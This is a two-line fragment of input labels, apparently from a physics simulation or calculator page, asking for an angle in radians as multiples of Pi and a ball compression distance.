Angle in radians (multiples of Pi):
Ball Compression Distance: